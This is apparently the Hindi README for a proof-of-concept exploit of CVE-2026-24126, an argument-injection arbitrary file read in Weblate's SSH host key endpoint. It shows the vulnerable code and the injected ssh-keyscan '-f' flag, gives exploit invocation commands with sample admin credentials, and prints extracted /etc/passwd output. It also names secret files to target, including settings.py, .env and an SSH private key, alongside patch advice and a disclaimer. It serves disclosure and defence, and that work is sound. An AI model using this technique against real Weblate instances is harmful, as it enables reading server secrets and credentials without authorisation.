
CVE-2026-24126 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, Weblate में SSH होस्ट तर्क इंजेक्शन के माध्यम से एक मनमाना फ़ाइल पठन, जो प्रमाणित व्यवस्थापकों को सर्वर फ़ाइलें पढ़ने की अनुमति देता है।
खोजकर्ता: Alejandro Baño · जनवरी 2026 स्वीकृति: Weblate 5.16 रिलीज़ नोट्स
Weblate का SSH होस्ट कुंजी प्रबंधन एंडपॉइंट प्रमाणित प्रशासक द्वारा प्रदान किए गए host पैरामीटर को बिना किसी सैनिटाइज़ेशन या आर्ग्युमेंट सत्यापन के सीधे ssh-keyscan को पास करता है। चूंकि ssh-keyscan लक्ष्य होस्टनाम को फ़ाइल से पढ़ने के लिए -f <file> फ़्लैग स्वीकार करता है, प्रशासक क्रेडेंशियल वाला हमलावर उस फ़्लैग को होस्ट मान के रूप में इंजेक्ट कर सकता है और सर्वर को मनमानी स्थानीय फ़ाइल खोलने के लिए मजबूर कर सकता है। परिणामी त्रुटि आउटपुट (या stdout) त्रुटि संदेश ब्लॉक के भीतर ब्राउज़र को वैसे ही वापस दिखाया जाता है, जिससे फ़ाइल की सामग्री लीक हो जाती है।
| फ़ील्ड | मान |
|---|---|
| लक्ष्य | Weblate (स्व-होस्टेड इंस्टेंस) |
| घटक | SSH कुंजी प्रबंधन — weblate/ssh/views.py · add_host_key() |
| प्रमाणीकरण आवश्यक | हाँ — Weblate प्रशासक खाता |
| प्रभावित संस्करण | सभी संस्करण ≤ 5.15.2 (5.0.2 और 5.15.2 में परीक्षण किया गया) |
| प्रभाव | वेब-सर्वर प्रक्रिया उपयोगकर्ता (weblate, www-data आदि) के रूप में मनमानी स्थानीय फ़ाइल पढ़ना |
| CVSS v3 | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L |
| CVE | CVE-2026-24126 |
# weblate/ssh/views.py — simplified
def add_host_key(request, host, port=""):
cmdline = ["ssh-keyscan"]
if port:
cmdline.extend(["-p", str(port)])
cmdline.append(host) # ← host is appended with no validation
result = subprocess.run(cmdline, ...)
host मान सीधे POST बॉडी फ़ील्ड host से आता है, जिसमें कोई allowlist नहीं, अग्रणी डैश को हटाना नहीं, और उपयोगकर्ता-आपूर्ति मान से पहले कोई -- आर्ग्युमेंट टर्मिनेटर नहीं है। यह हमलावर को कोई भी ssh-keyscan फ़्लैग इंजेक्ट करने देता है।
ssh-keyscan -f /etc/passwd /etc/passwd को होस्टनाम की सूची के रूप में पढ़ता है, प्रत्येक पंक्ति को हल करने में विफल रहता है, और प्रत्येक के लिए त्रुटि आउटपुट उत्पन्न करता है। वह त्रुटि आउटपुट CalledProcessError हैंडलर के माध्यम से प्रसारित होता है और HTTP प्रतिक्रिया में alert-danger ब्लॉक के भीतर प्रदर्शित होता है।
python3 exploit.py -r https://target.example.com -u admin -p admin123 -f /etc/passwd
| फ़्लैग | विवरण |
|---|---|
-r / --rhost | Weblate इंस्टेंस का बेस URL |
-u / --username | प्रशासक उपयोगकर्ता नाम |
-p / --password | प्रशासक पासवर्ड |
-f / --file | सर्वर पर पढ़ने के लिए फ़ाइल का पथ |
python3 CVE-2026-24126.py -r http://localhost -u admin -p 'ChangeThisToAStrongPassword' -f /etc/passwd
[+] Login successful for user: admin
[*] Sending payload to http://localhost/manage/ssh/, this could take some time, please be patient...
[+] Extracted file content:
--------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
weblate:x:1000:1000::/home/weblate:/bin/sh
--------------------------------------------------
[!] Exploit finished
Weblate चलाने वाले OS उपयोगकर्ता (आमतौर पर weblate उपयोगकर्ता) द्वारा पढ़ने योग्य कोई भी फ़ाइल एकल प्रमाणित POST अनुरोध के माध्यम से निकाली जा सकती है। संवेदनशील लक्ष्यों में शामिल हैं:
settings.py, .env, local_settings.py/var/lib/weblate/.ssh/id_rsaWeblate 5.16.0 या बाद के संस्करण में अपडेट करें। यह Weblate टीम द्वारा 18 फरवरी, 2026 को जारी किया गया आधिकारिक फिक्स है, जिसने SSH होस्ट फ़ील्ड पर उचित इनपुट सत्यापन पेश किया।
यह रिपॉज़िटरी केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान के लिए है। इस टूल का उपयोग उन सिस्टम के विरुद्ध न करें जिनके आप स्वामी नहीं हैं या जिनका परीक्षण करने के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है। दुरुपयोग के लिए लेखक कोई दायित्व स्वीकार नहीं करता।